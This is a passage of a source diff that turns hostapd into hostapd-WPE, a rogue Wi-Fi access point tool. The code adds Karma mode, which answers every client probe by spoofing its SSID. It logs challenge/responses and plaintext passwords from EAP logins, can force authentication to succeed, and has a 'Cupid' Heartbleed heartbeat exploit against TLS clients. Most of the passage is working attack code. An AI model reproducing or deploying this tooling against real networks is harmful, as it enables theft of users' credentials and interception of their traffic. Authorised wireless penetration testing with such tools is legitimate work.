+# not the case, the MAC address of the radio must be changed before starting
+# hostapd (ifconfig wlan0 hw ether <MAC addr>). If a BSSID is configured for
+# every secondary BSS, this limitation is not applied at hostapd and other
+# masks may be used if the driver supports them (e.g., swap the locally
+# administered bit)
+#
+# BSSIDs are assigned in order to each BSS, unless an explicit BSSID is
+# specified using the 'bssid' parameter.
+# If an explicit BSSID is specified, it must be chosen such that it:
+# - results in a valid MASK that covers it and the dev_addr
+# - is not the same as the MAC address of the radio
+# - is not the same as any other explicitly specified BSSID
+#
+# Alternatively, the 'use_driver_iface_addr' parameter can be used to request
+# hostapd to use the driver auto-generated interface address (e.g., to use the
+# exact MAC addresses allocated to the device).
+#
+# Not all drivers support multiple BSSes. The exact mechanism for determining
+# the driver capabilities is driver specific. With the current (i.e., a recent
+# kernel) drivers using nl80211, this information can be checked with "iw list"
+# (search for "valid interface combinations").
+#
+# Please note that hostapd uses some of the values configured for the first BSS
+# as the defaults for the following BSSes. However, it is recommended that all
+# BSSes include explicit configuration of all relevant configuration items.
+#
+#bss=wlan0_0
+#ssid=test2
+# most of the above items can be used here (apart from radio interface specific
+# items, like channel)
+
+#bss=wlan0_1
+#bssid=00:13:10:95:fe:0b
+# ...
diff '--color=auto' -rupN hostapd-2.10/hostapd/hostapd-wpe.eap_user hostapd-2.10-wpe/hostapd/hostapd-wpe.eap_user
--- hostapd-2.10/hostapd/hostapd-wpe.eap_user 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/hostapd-wpe.eap_user 2022-02-21 23:29:30.104000000 +0000
@@ -0,0 +1,107 @@
+# hostapd user database for integrated EAP server
+
+# Each line must contain an identity, EAP method(s), and an optional password
+# separated with whitespace (space or tab). The identity and password must be
+# double quoted ("user"). Password can alternatively be stored as
+# NtPasswordHash (16-byte MD4 hash of the unicode presentation of the password
+# in unicode) if it is used for MSCHAP or MSCHAPv2 authentication. This means
+# that the plaintext password does not need to be included in the user file.
+# Password hash is stored as hash:<16-octets of hex data> without quotation
+# marks.
+
+# [2] flag in the end of the line can be used to mark users for tunneled phase
+# 2 authentication (e.g., within EAP-PEAP). In these cases, an anonymous
+# identity can be used in the unencrypted phase 1 and the real user identity
+# is transmitted only within the encrypted tunnel in phase 2. If non-anonymous
+# access is needed, two user entries is needed, one for phase 1 and another
+# with the same username for phase 2.
+#
+# EAP-TLS, EAP-PEAP, EAP-TTLS, EAP-FAST, EAP-SIM, and EAP-AKA do not use
+# password option.
+# EAP-MD5, EAP-MSCHAPV2, EAP-GTC, EAP-PAX, EAP-PSK, and EAP-SAKE require a
+# password.
+# EAP-PEAP, EAP-TTLS, and EAP-FAST require Phase 2 configuration.
+#
+# * can be used as a wildcard to match any user identity. The main purposes for
+# this are to set anonymous phase 1 identity for EAP-PEAP and EAP-TTLS and to
+# avoid having to configure every certificate for EAP-TLS authentication. The
+# first matching entry is selected, so * should be used as the last phase 1
+# user entry.
+#
+# "prefix"* can be used to match the given prefix and anything after this. The
+# main purpose for this is to be able to avoid EAP method negotiation when the
+# method is using known prefix in identities (e.g., EAP-SIM and EAP-AKA). This
+# is only allowed for phase 1 identities.
+#
+# Multiple methods can be configured to make the authenticator try them one by
+# one until the peer accepts one. The method names are separated with a
+# comma (,).
+#
+# [ver=0] and [ver=1] flags after EAP type PEAP can be used to force PEAP
+# version based on the Phase 1 identity. Without this flag, the EAP
+# authenticator advertises the highest supported version and select the version
+# based on the first PEAP packet from the supplicant.
+#
+# EAP-TTLS supports both EAP and non-EAP authentication inside the tunnel.
+# Tunneled EAP methods are configured with standard EAP method name and [2]
+# flag. Non-EAP methods can be enabled by following method names: TTLS-PAP,
+# TTLS-CHAP, TTLS-MSCHAP, TTLS-MSCHAPV2. TTLS-PAP and TTLS-CHAP require a
+# plaintext password while TTLS-MSCHAP and TTLS-MSCHAPV2 can use NT password
+# hash.
+#
+# Arbitrary RADIUS attributes can be added into Access-Accept packets similarly
+# to the way radius_auth_req_attr is used for Access-Request packet in
+# hostapd.conf. For EAP server, this is configured separately for each user
+# entry with radius_accept_attr=<value> line(s) following the main user entry
+# line.
+
+# Phase 1 users
+#"user" MD5 "password"
+#"test user" MD5 "secret"
+#"example user" TLS
+#"DOMAIN\user" MSCHAPV2 "password"
+#"gtc user" GTC "password"
+#"pax user" PAX "unknown"
+#"pax.user@example.com" PAX 0123456789abcdef0123456789abcdef
+#"psk user" PSK "unknown"
+#"psk.user@example.com" PSK 0123456789abcdef0123456789abcdef
+#"sake.user@example.com" SAKE 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
+#"ttls" TTLS
+#"not anonymous" PEAP
+# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes
+#"0"* AKA,TTLS,TLS,PEAP,SIM
+#"1"* SIM,TTLS,TLS,PEAP,AKA
+#"2"* AKA,TTLS,TLS,PEAP,SIM
+#"3"* SIM,TTLS,TLS,PEAP,AKA
+#"4"* AKA,TTLS,TLS,PEAP,SIM
+#"5"* SIM,TTLS,TLS,PEAP,AKA
+#"6"* AKA'
+#"7"* AKA'
+#"8"* AKA'
+
+# Wildcard for all other identities
+#* PEAP,TTLS,TLS,SIM,AKA
+
+# Phase 2 (tunnelled within EAP-PEAP or EAP-TTLS) users
+#"t-md5" MD5 "password" [2]
+#"DOMAIN\t-mschapv2" MSCHAPV2 "password" [2]
+#"t-gtc" GTC "password" [2]
+#"not anonymous" MSCHAPV2 "password" [2]
+#"user" MD5,GTC,MSCHAPV2 "password" [2]
+#"test user" MSCHAPV2 hash:000102030405060708090a0b0c0d0e0f [2]
+#"ttls-user" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,TTLS-MSCHAPV2 "password" [2]
+
+# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes in phase 2
+#"0"* AKA [2]
+#"1"* SIM [2]
+#"2"* AKA [2]
+#"3"* SIM [2]
+#"4"* AKA [2]
+#"5"* SIM [2]
+#"6"* AKA' [2]
+#"7"* AKA' [2]
+#"8"* AKA' [2]
+
+# WPE - DO NOT REMOVE - These entries are specifically in here
+* PEAP,TTLS,TLS,FAST
+"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "t" [2]
diff '--color=auto' -rupN hostapd-2.10/hostapd/main.c hostapd-2.10-wpe/hostapd/main.c
--- hostapd-2.10/hostapd/main.c 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/main.c 2022-02-22 00:03:05.108000000 +0000
@@ -30,7 +30,7 @@
#include "config_file.h"
#include "eap_register.h"
#include "ctrl_iface.h"
-
+#include "wpe/wpe.h"
struct hapd_global {
void **drv_priv;
@@ -451,11 +451,17 @@ static int hostapd_global_run(struct hap
static void show_version(void)
{
fprintf(stderr,
- "hostapd v%s\n"
+ "hostapd-WPE v%s\n"
"User space daemon for IEEE 802.11 AP management,\n"
"IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n"
"Copyright (c) 2002-2022, Jouni Malinen <j@w1.fi> "
- "and contributors\n",
+ "and contributors\n"
+ "-----------------------------------------------------\n"
+ "WPE (Wireless Pwnage Edition)\n"
+ "This version has been cleverly modified to target\n"
+ "wired and wireless users.\n"
+ "Twitter: @aircrackng\n"
+ "Website: https://aircrack-ng.org\n",
VERSION_STR);
}
@@ -465,7 +471,7 @@ static void usage(void)
show_version();
fprintf(stderr,
"\n"
- "usage: hostapd [-hdBKtv] [-P <PID file>] [-e <entropy file>] "
+ "usage: hostapd-wpe [-hdBKtvrkc] [-P <PID file>] [-e <entropy file>] "
"\\\n"
" [-g <global ctrl_iface>] [-G <group>]\\\n"
" [-i <comma-separated list of interface names>]\\\n"
@@ -493,7 +499,16 @@ static void usage(void)
#endif /* CONFIG_DEBUG_SYSLOG */
" -S start all the interfaces synchronously\n"
" -t include timestamps in some debug messages\n"
- " -v show hostapd version\n");
+ " -v show hostapd version\n\n"
+ "\n"
+ "WPE options:\n"
+ " -r Return Success where possible\n"
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+ " -c Cupid Mode (Heartbleed clients)\n\n"
+#endif
+ " -k Karma Mode (Respond to all probes)\n"
+ "\n"
+ " Note: credentials logging is always enabled\n\n");
exit(1);
}
@@ -684,7 +699,7 @@ int main(int argc, char *argv[])
#endif /* CONFIG_DPP */
for (;;) {
- c = getopt(argc, argv, "b:Bde:f:hi:KP:sSTtu:vg:G:");
+ c = getopt(argc, argv, "b:Bde:f:hi:KP:sSTtu:vg:G:kcr");
if (c < 0)
break;
switch (c) {
@@ -753,6 +768,15 @@ int main(int argc, char *argv[])
case 'u':
return gen_uuid(optarg);
#endif /* CONFIG_WPS */
+ case 'k':
+ wpe_conf.wpe_enable_karma++;
+ break;
+ case 'c':
+ wpe_conf.wpe_enable_cupid++;
+ break;
+ case 'r':
+ wpe_conf.wpe_enable_return_success++;
+ break;
case 'i':
if (hostapd_get_interface_names(&if_names,
&if_names_size, optarg))
diff '--color=auto' -rupN hostapd-2.10/src/Makefile hostapd-2.10-wpe/src/Makefile
--- hostapd-2.10/src/Makefile 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/src/Makefile 2022-02-21 23:29:30.152000000 +0000
@@ -1,5 +1,5 @@
SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p pae radius rsn_supp tls utils wps
-SUBDIRS += fst
+SUBDIRS += fst wpe
all:
for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d; done
diff '--color=auto' -rupN hostapd-2.10/src/ap/beacon.c hostapd-2.10-wpe/src/ap/beacon.c
--- hostapd-2.10/src/ap/beacon.c 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/src/ap/beacon.c 2022-02-21 23:29:30.128000000 +0000
@@ -32,7 +32,7 @@
#include "dfs.h"
#include "taxonomy.h"
#include "ieee802_11_auth.h"
-
+#include "wpe/wpe.h"
#ifdef NEED_AP_MLME
@@ -975,6 +975,13 @@ void handle_probe_req(struct hostapd_dat
}
#endif /* CONFIG_TAXONOMY */
+ if (wpe_conf.wpe_enable_karma && elems.ssid_len > 0) {
+ wpa_printf(MSG_MSGDUMP,"[WPE] Probe request from " MACSTR ", changing SSID to '%s'", MAC2STR(mgmt->sa), wpa_ssid_txt(elems.ssid, elems.ssid_len));
+ hostapd_set_ssid(hapd,elems.ssid,elems.ssid_len);
+ os_memcpy(&hapd->conf->ssid.ssid,elems.ssid,elems.ssid_len);
+ hapd->conf->ssid.ssid_len = elems.ssid_len;
+ }
+
res = ssid_match(hapd, elems.ssid, elems.ssid_len,
elems.ssid_list, elems.ssid_list_len,
elems.short_ssid_list, elems.short_ssid_list_len);
diff '--color=auto' -rupN hostapd-2.10/src/ap/ieee802_11.c hostapd-2.10-wpe/src/ap/ieee802_11.c
--- hostapd-2.10/src/ap/ieee802_11.c 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/src/ap/ieee802_11.c 2022-02-21 23:29:30.128000000 +0000
@@ -55,7 +55,7 @@
#include "fils_hlp.h"
#include "dpp_hostapd.h"
#include "gas_query_ap.h"
-
+#include "wpe/wpe.h"
#ifdef CONFIG_FILS
static struct wpabuf *
@@ -3998,8 +3998,8 @@ static u16 check_ssid(struct hostapd_dat
if (ssid_ie == NULL)
return WLAN_STATUS_UNSPECIFIED_FAILURE;
- if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
+ if ((!wpe_conf.wpe_enable_karma) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
HOSTAPD_LEVEL_INFO,
"Station tried to associate with unknown SSID "
diff '--color=auto' -rupN hostapd-2.10/src/ap/ieee802_1x.c hostapd-2.10-wpe/src/ap/ieee802_1x.c
--- hostapd-2.10/src/ap/ieee802_1x.c 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/src/ap/ieee802_1x.c 2022-02-21 23:29:30.128000000 +0000
@@ -855,6 +855,8 @@ static void handle_eap_response(struct h
{
u8 type, *data;
struct eapol_state_machine *sm = sta->eapol_sm;
+ const u8 *identity;
+ size_t identity_len;
if (!sm)
return;
@@ -874,6 +876,16 @@ static void handle_eap_response(struct h
eap->code, eap->identifier, be_to_host16(eap->length),
eap_server_get_name(0, type), type);
+/* Print Response-Identity from STA*/
+ identity = eap_get_identity(sm->eap, &identity_len);
+ os_free(sm->identity);
+ sm->identity = (u8 *) dup_binstr(identity, identity_len);
+ sm->identity_len = identity_len;
+ if (identity != NULL) {
+ hostapd_logger(hapd, sm->addr, HOSTAPD_MODULE_IEEE8021X,
+ HOSTAPD_LEVEL_INFO, "Identity received from STA: '%s'", sm->identity);
+ }
+
sm->dot1xAuthEapolRespFramesRx++;
wpabuf_free(sm->eap_if->eapRespData);
diff '--color=auto' -rupN hostapd-2.10/src/crypto/ms_funcs.h hostapd-2.10-wpe/src/crypto/ms_funcs.h
--- hostapd-2.10/src/crypto/ms_funcs.h 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/src/crypto/ms_funcs.h 2022-02-21 23:29:30.144000000 +0000
@@ -9,6 +9,10 @@
#ifndef MS_FUNCS_H
#define MS_FUNCS_H
+int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge,
+ const u8 *username, size_t username_len,
+ u8 *challenge);
+
int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge,
const u8 *username, size_t username_len,
const u8 *password, size_t password_len,
diff '--color=auto' -rupN hostapd-2.10/src/crypto/tls_openssl.c hostapd-2.10-wpe/src/crypto/tls_openssl.c
--- hostapd-2.10/src/crypto/tls_openssl.c 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/src/crypto/tls_openssl.c 2022-02-21 23:29:30.140000000 +0000
@@ -21,6 +21,7 @@
#include <openssl/opensslv.h>
#include <openssl/pkcs12.h>
#include <openssl/x509v3.h>
+#include <openssl/rand.h>
#ifndef OPENSSL_NO_ENGINE
#include <openssl/engine.h>
#endif /* OPENSSL_NO_ENGINE */
@@ -37,6 +38,7 @@
#include "sha256.h"
#include "tls.h"
#include "tls_openssl.h"
+#include "wpe/wpe.h"
#if !defined(CONFIG_FIPS) && \
(defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || \
@@ -204,6 +206,10 @@ static int tls_add_ca_from_keystore_enco
#endif /* ANDROID */
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+int wpe_hb_enc(struct tls_connection *conn); // WPE: To limit changes up top
+#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
+
static int tls_openssl_ref_count = 0;
static int tls_ex_idx_session = -1;
@@ -1577,7 +1583,12 @@ struct tls_connection * tls_connection_i
conn->context = context;
SSL_set_app_data(conn->ssl, conn);
- SSL_set_msg_callback(conn->ssl, tls_msg_cb);
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+ if (wpe_conf.wpe_enable_cupid)
+ SSL_set_msg_callback(conn->ssl, wpe_hb_cb);
+ else
+#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
+ SSL_set_msg_callback(conn->ssl, tls_msg_cb);
SSL_set_msg_callback_arg(conn->ssl, conn);
options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 |
SSL_OP_SINGLE_DH_USE;
@@ -4286,6 +4297,10 @@ openssl_handshake(struct tls_connection
{
int res;
struct wpabuf *out_data;
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+ int i;
+ struct wpabuf *wpe_hb_ptr1, *wpe_hb_ptr2;
+#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
/*
* Give TLS handshake data from the server (if available) to OpenSSL
@@ -4394,6 +4409,30 @@ openssl_handshake(struct tls_connection
}
wpabuf_put(out_data, res);
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+ if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_handshake && wpe_conf.wpe_hb_num_tries) {
+
+ wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat request instead of handshake\n");
+ wpe_hb_ptr1 = NULL;
+
+ for (i = 0; i < wpe_conf.wpe_hb_num_repeats; i++) {
+ wpe_hb_ptr2 = wpabuf_alloc(wpe_hb_msg_len-1);
+ memcpy(wpabuf_mhead(wpe_hb_ptr2), (u8 *)wpe_hb_clear(), wpe_hb_msg_len-1);
+ wpabuf_put(wpe_hb_ptr2, wpe_hb_msg_len-1);
+
+ if (wpe_hb_ptr1) {
+ wpe_hb_ptr1 = wpabuf_concat(wpe_hb_ptr1,wpe_hb_ptr2);
+ } else {
+ wpe_hb_ptr1 = wpe_hb_ptr2;
+ }
+ }
+
+ conn->ssl->tlsext_hb_pending = 1;
+ wpe_conf.wpe_hb_num_tries--;
+ return wpe_hb_ptr1;
+ }
+#endif
+
return out_data;
}
@@ -4526,6 +4565,13 @@ struct wpabuf * tls_connection_encrypt(v
tls_show_errors(MSG_INFO, __func__, "BIO_reset failed");
return NULL;
}
+
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+ if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_appdata) {
+ wpe_hb_enc(conn);
+ }
+#endif
+
res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data));
if (res < 0) {
tls_show_errors(MSG_INFO, __func__,
@@ -4533,6 +4579,12 @@ struct wpabuf * tls_connection_encrypt(v
return NULL;
}
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+ if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_after_appdata) {
+ wpe_hb_enc(conn);
+ }
+#endif
+
/* Read encrypted data to be sent to the server */
buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
if (buf == NULL)
@@ -5773,3 +5825,69 @@ bool tls_connection_get_own_cert_used(st
return SSL_get_certificate(conn->ssl) != NULL;
return false;
}
+
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+int wpe_hb_enc(struct tls_connection *conn) {
+ unsigned char *cbuf, *p;
+
+ unsigned int real_payload = 18; //default: 18 /* Sequence number + random bytes */
+ unsigned int padding = 16; //default: 16 /* Use minimum padding */
+
+ if (!SSL_is_init_finished(conn->ssl)) {
+ return -1;
+ }
+
+ if(!conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
+ conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS) {
+ wpa_printf(MSG_DEBUG, "[WPE] warning: heartbeat extension is unsupported (try anyway)\n");
+ } else {
+ wpa_printf(MSG_DEBUG,"[WPE] Heartbeat extention is supported, may not be vulnerable!\n");
+ }
+
+ /* Check if padding is too long, payload and padding
+ * must not exceed 2^14 - 3 = 16381 bytes in total.
+ */
+ OPENSSL_assert(real_payload + padding <= 16381);
+
+ cbuf = OPENSSL_malloc(1 + 2 + real_payload + padding);
+
+ if(cbuf==NULL)
+ return -1;
+
+ p = cbuf;
+
+ *p++ = TLS1_HB_REQUEST;
+
+
+ /* Payload length (18 bytes here) */
+ //s2n(payload, p); /* standards compliant payload */
+ //s2n(payload +10, p); /* >payload to exploit heartbleed!!! */
+ s2n(wpe_conf.wpe_hb_payload_size, p); /* configured payload */
+
+ /* Sequence number */
+ s2n(conn->ssl->tlsext_hb_seq, p);
+ /* 16 random bytes */
+ RAND_pseudo_bytes(p, 16);
+ //RAND_bytes(p, 16);
+ p += 16;
+ /* Random padding */
+ RAND_pseudo_bytes(p, padding);
+ //RAND_bytes(p, padding);
+
+ wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat reaquesting payload size %u...\n", wpe_conf.wpe_hb_payload_size);
+ wpa_hexdump(MSG_DEBUG, "[WPE] heartbeat packet to send:", cbuf, 1 + 2 + real_payload + padding);
+
+ /* Send heartbeat request */
+#ifdef TLS1_RT_HEARTBEAT
+ if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, TLS1_RT_HEARTBEAT,
+#elif defined(DTLS1_RT_HEARTBEAT)
+ if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, DTLS1_RT_HEARTBEAT,
+#endif
+ cbuf, 3 + real_payload + padding) >= 0)
+ conn->ssl->tlsext_hb_pending = 1;
+ OPENSSL_free(cbuf);
+
+ return 0;
+}
+#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
+
diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server.c hostapd-2.10-wpe/src/eap_server/eap_server.c
--- hostapd-2.10/src/eap_server/eap_server.c 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/src/eap_server/eap_server.c 2022-02-21 23:29:30.152000000 +0000
@@ -160,6 +160,8 @@ int eap_user_get(struct eap_sm *sm, cons
{
struct eap_user *user;
+ char ident = 't';
+
if (sm == NULL || sm->eapol_cb == NULL ||
sm->eapol_cb->get_eap_user == NULL)
return -1;
@@ -171,6 +173,11 @@ int eap_user_get(struct eap_sm *sm, cons
if (user == NULL)
return -1;
+ if (phase2) {
+ identity = (const u8 *)&ident;
+ identity_len = 1;
+ }
+
if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
identity_len, phase2, user) != 0) {
eap_user_free(user);
diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server_mschapv2.c hostapd-2.10-wpe/src/eap_server/eap_server_mschapv2.c
--- hostapd-2.10/src/eap_server/eap_server_mschapv2.c 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/src/eap_server/eap_server_mschapv2.c 2022-02-21 23:29:30.152000000 +0000
@@ -12,7 +12,7 @@
#include "crypto/ms_funcs.h"
#include "crypto/random.h"
#include "eap_i.h"
-
+#include "wpe/wpe.h"
struct eap_mschapv2_hdr {
u8 op_code; /* MSCHAPV2_OP_* */
@@ -290,7 +290,7 @@ static void eap_mschapv2_process_respons
size_t username_len, user_len;
int res;
char *buf;
-
+ u8 wpe_challenge_hash[8];
pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
&len);
if (pos == NULL || len < 1)
@@ -371,6 +371,8 @@ static void eap_mschapv2_process_respons
}
}
#endif /* CONFIG_TESTING_OPTIONS */
+ challenge_hash(peer_challenge, data->auth_challenge, username, username_len, wpe_challenge_hash);
+ wpe_log_chalresp("mschapv2", name, name_len, wpe_challenge_hash, 8, nt_response, 24);
if (username_len != user_len ||
os_memcmp(username, user, username_len) != 0) {
@@ -405,6 +407,11 @@ static void eap_mschapv2_process_respons
return;
}
+ if (wpe_conf.wpe_enable_return_success) {
+ os_memset((void *)nt_response, 0, 24);
+ os_memset((void *)expected, 0, 24);
+ }
+
if (os_memcmp_const(nt_response, expected, 24) == 0) {
const u8 *pw_hash;
u8 pw_hash_buf[16], pw_hash_hash[16];
@@ -445,6 +452,8 @@ static void eap_mschapv2_process_respons
wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Invalid NT-Response");
data->state = FAILURE_REQ;
}
+ if (wpe_conf.wpe_enable_return_success)
+ data->state = SUCCESS;
}
diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server_peap.c hostapd-2.10-wpe/src/eap_server/eap_server_peap.c
--- hostapd-2.10/src/eap_server/eap_server_peap.c 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/src/eap_server/eap_server_peap.c 2022-02-21 23:29:30.152000000 +0000
@@ -17,7 +17,7 @@
#include "eap_common/eap_tlv_common.h"
#include "eap_common/eap_peap_common.h"
#include "tncs.h"
-
+#include "wpe/wpe.h"
/* Maximum supported PEAP version
* 0 = Microsoft's PEAP version 0; draft-kamath-pppext-peapv0-00.txt
diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server_ttls.c hostapd-2.10-wpe/src/eap_server/eap_server_ttls.c
--- hostapd-2.10/src/eap_server/eap_server_ttls.c 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/src/eap_server/eap_server_ttls.c 2022-02-21 23:29:30.152000000 +0000
@@ -16,7 +16,7 @@
#include "eap_server/eap_tls_common.h"
#include "eap_common/chap.h"
#include "eap_common/eap_ttls.h"
-
+#include "wpe/wpe.h"
#define EAP_TTLS_VERSION 0
@@ -538,9 +538,11 @@ static void eap_ttls_process_phase2_pap(
return;
}
- if (sm->user->password_len != user_password_len ||
+ wpe_log_basic("eap-ttls/pap", sm->identity, sm->identity_len, user_password, user_password_len);
+
+ if ((!wpe_conf.wpe_enable_return_success) && (sm->user->password_len != user_password_len ||
os_memcmp_const(sm->user->password, user_password,
- user_password_len) != 0) {
+ user_password_len) != 0)) {
wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: Invalid user password");
eap_ttls_state(data, FAILURE);
return;
@@ -603,8 +605,9 @@ static void eap_ttls_process_phase2_chap
chap_md5(password[0], sm->user->password, sm->user->password_len,
challenge, challenge_len, hash);
- if (os_memcmp_const(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) ==
- 0) {
+ wpe_log_chalresp("eap-ttls/chap", sm->identity, sm->identity_len, challenge, challenge_len, password, password_len);
+
+ if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) == 0)) {
wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Correct user password");
eap_ttls_state(data, SUCCESS);
eap_ttls_valid_session(sm, data);
@@ -675,7 +678,9 @@ static void eap_ttls_process_phase2_msch
return;
}
- if (os_memcmp_const(nt_response, response + 2 + 24, 24) == 0) {
+ wpe_log_chalresp("eap-ttls/mschap", sm->identity, sm->identity_len, challenge, challenge_len, response + 2 + 24, 24);
+
+ if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(nt_response, response + 2 + 24, 24) == 0)) {
wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Correct response");
eap_ttls_state(data, SUCCESS);
eap_ttls_valid_session(sm, data);
@@ -697,7 +702,7 @@ static void eap_ttls_process_phase2_msch
u8 *response, size_t response_len)
{
u8 *chal, *username, nt_response[24], *rx_resp, *peer_challenge,
- *auth_challenge;
+ *auth_challenge, wpe_challenge_hash[8];
size_t username_len, i;
if (challenge == NULL || response == NULL ||
@@ -782,6 +787,9 @@ static void eap_ttls_process_phase2_msch
}
rx_resp = response + 2 + EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 8;
+
+ challenge_hash(peer_challenge, auth_challenge, username, username_len, wpe_challenge_hash);
+ wpe_log_chalresp("eap-ttls/mschapv2", username, username_len, wpe_challenge_hash, 8, rx_resp, 24);
#ifdef CONFIG_TESTING_OPTIONS
{
u8 challenge2[8];
diff '--color=auto' -rupN hostapd-2.10/src/utils/wpa_debug.c hostapd-2.10-wpe/src/utils/wpa_debug.c
--- hostapd-2.10/src/utils/wpa_debug.c 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/src/utils/wpa_debug.c 2022-02-21 23:29:30.160000000 +0000
@@ -28,7 +28,7 @@ static FILE *wpa_debug_tracing_file = NU
int wpa_debug_level = MSG_INFO;
-int wpa_debug_show_keys = 0;
+int wpa_debug_show_keys = 1; // WPE >:)
int wpa_debug_timestamp = 0;
int wpa_debug_syslog = 0;
#ifndef CONFIG_NO_STDOUT_DEBUG
diff '--color=auto' -rupN hostapd-2.10/src/wpe/Makefile hostapd-2.10-wpe/src/wpe/Makefile
--- hostapd-2.10/src/wpe/Makefile 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/src/wpe/Makefile 2022-02-21 23:29:30.160000000 +0000
@@ -0,0 +1,8 @@
+all:
+ @echo Nothing to be made.
+
+clean:
+ rm -f *~ *.o *.d *.gcno *.gcda *.gcov
+
+install:
+ @echo Nothing to be made.
diff '--color=auto' -rupN hostapd-2.10/src/wpe/wpe.c hostapd-2.10-wpe/src/wpe/wpe.c
--- hostapd-2.10/src/wpe/wpe.c 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/src/wpe/wpe.c 2022-02-21 23:29:30.160000000 +0000
@@ -0,0 +1,232 @@
+/*
+ wpe.c -
+ brad.antoniewicz@foundstone.com
+ Implements WPE (Wireless Pwnage Edition) functionality within
+ hostapd.
+
+ WPE functionality focuses on targeting connecting users. At
+ it's core it implements credential logging (originally
+ implemented in FreeRADIUS-WPE), but also includes other patches
+ for other client attacks that have been modified to some extend.
+
+ FreeRADIUS-WPE: https://github.com/aircrack-ng/aircrack-ng/tree/master/patches/wpe/freeradius-wpe
+ Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
+ Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
+*/
+
+#include <time.h>
+#include <openssl/ssl.h>
+#include "includes.h"
+#include "common.h"
+#include "wpe/wpe.h"
+#include "utils/wpa_debug.h"
+
+#define wpe_logfile_default_location "./hostapd-wpe.log"
+
+
+#define MSCHAPV2_CHAL_HASH_LEN 8
+#define MSCHAPV2_CHAL_LEN 16
+#define MSCHAPV2_RESP_LEN 24
+
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+ char wpe_hb_msg[] = "\x18\x03\x01\x00\x03\x01\xff\xff";
+ size_t wpe_hb_msg_len = sizeof(wpe_hb_msg)/sizeof(wpe_hb_msg[0]);
+#endif
+
+struct wpe_config wpe_conf = {
+ .wpe_logfile = wpe_logfile_default_location,
+ .wpe_logfile_fp = NULL,
+ .wpe_enable_karma = 0,
+ .wpe_enable_cupid = 0,
